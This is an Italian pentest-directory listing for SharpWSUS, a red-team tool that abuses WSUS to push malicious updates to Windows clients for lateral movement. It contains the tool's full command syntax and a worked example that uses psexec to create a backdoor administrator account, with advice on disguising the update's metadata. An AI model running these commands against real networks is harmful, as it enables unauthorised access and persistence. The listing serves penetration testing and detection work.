Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SharpWSUS — Strumento C# per movimento laterale tramite WSUS creando, approvando e distribuendo aggiornamenti dannosi a client Windows target in ambienti Active Directory. | Kitploit
Strumenti/GitHubGitHub/nettitude/sharpwsus
Movimento LateralePenetration TestingRed Teaming
GitHubnettitude/sharpwsus

SharpWSUS

Strumento C# per movimento laterale tramite WSUS creando, approvando e distribuendo aggiornamenti dannosi a client Windows target in ambienti Active Directory.

Vedi Repository
503804 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SharpWSUS

SharpWSUS è uno strumento CSharp per il movimento laterale tramite WSUS. Esiste un blog corrispondente (https://labs.nettitude.com/blog/introducing-sharpwsus/) che fornisce informazioni più dettagliate sullo strumento, il caso d'uso e il rilevamento.

Crediti

Un enorme ringraziamento alle risorse sottostanti che hanno fatto il 90% del lavoro per me. Questo strumento è solo un miglioramento delle seguenti per affidabilità e flessibilità C2.

  • https://github.com/AlsidOfficial/WSUSpendu - powershell tool for abusing WSUS
  • https://github.com/ThunderGunExpress/Thunder_Woosus - Csharp tool for abusing WSUS

Menu di Aiuto

root@kitploit:~
 ____  _                   __        ______  _   _ ____
/ ___|| |__   __ _ _ __ _ _\ \      / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
 ___) | | | | (_| | |  | |_) \ V  V /  ___) | |_| |___) |
|____/|_| |_|\__,_|_|  | .__/ \_/\_/  |____/ \___/|____/
                       |_|
           Phil Keeble @ Nettitude Red Team


Commands listed below have optional parameters in <>.

Locate the WSUS server:
    SharpWSUS.exe locate

Inspect the WSUS server, enumerating clients, servers and existing groups:
    SharpWSUS.exe inspect

Create an update (NOTE: The payload has to be a windows signed binary):
    SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>

Approve an update:
    SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>

Check status of an update:
    SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]

Delete update and clean up groups added:
    SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>

Esempio di Utilizzo

root@kitploit:~
sharpwsus locate

sharpwsus inspect

sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"

sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"

sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local

sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"

Note

  • Il binario deve essere firmato da Windows, quindi psexec, msiexec, msbuild ecc. potrebbero essere utili per il movimento laterale.
  • I metadati nel comando create non sono necessari, ma sono utili per mimetizzarsi nell'ambiente.
  • Se si testa in un laboratorio, il primo aggiornamento è solitamente veloce, poi ogni aggiornamento successivo richiederà un paio d'ore (questo è dovuto a come Windows valuta se un aggiornamento è già installato o meno).
Scarica lo strumento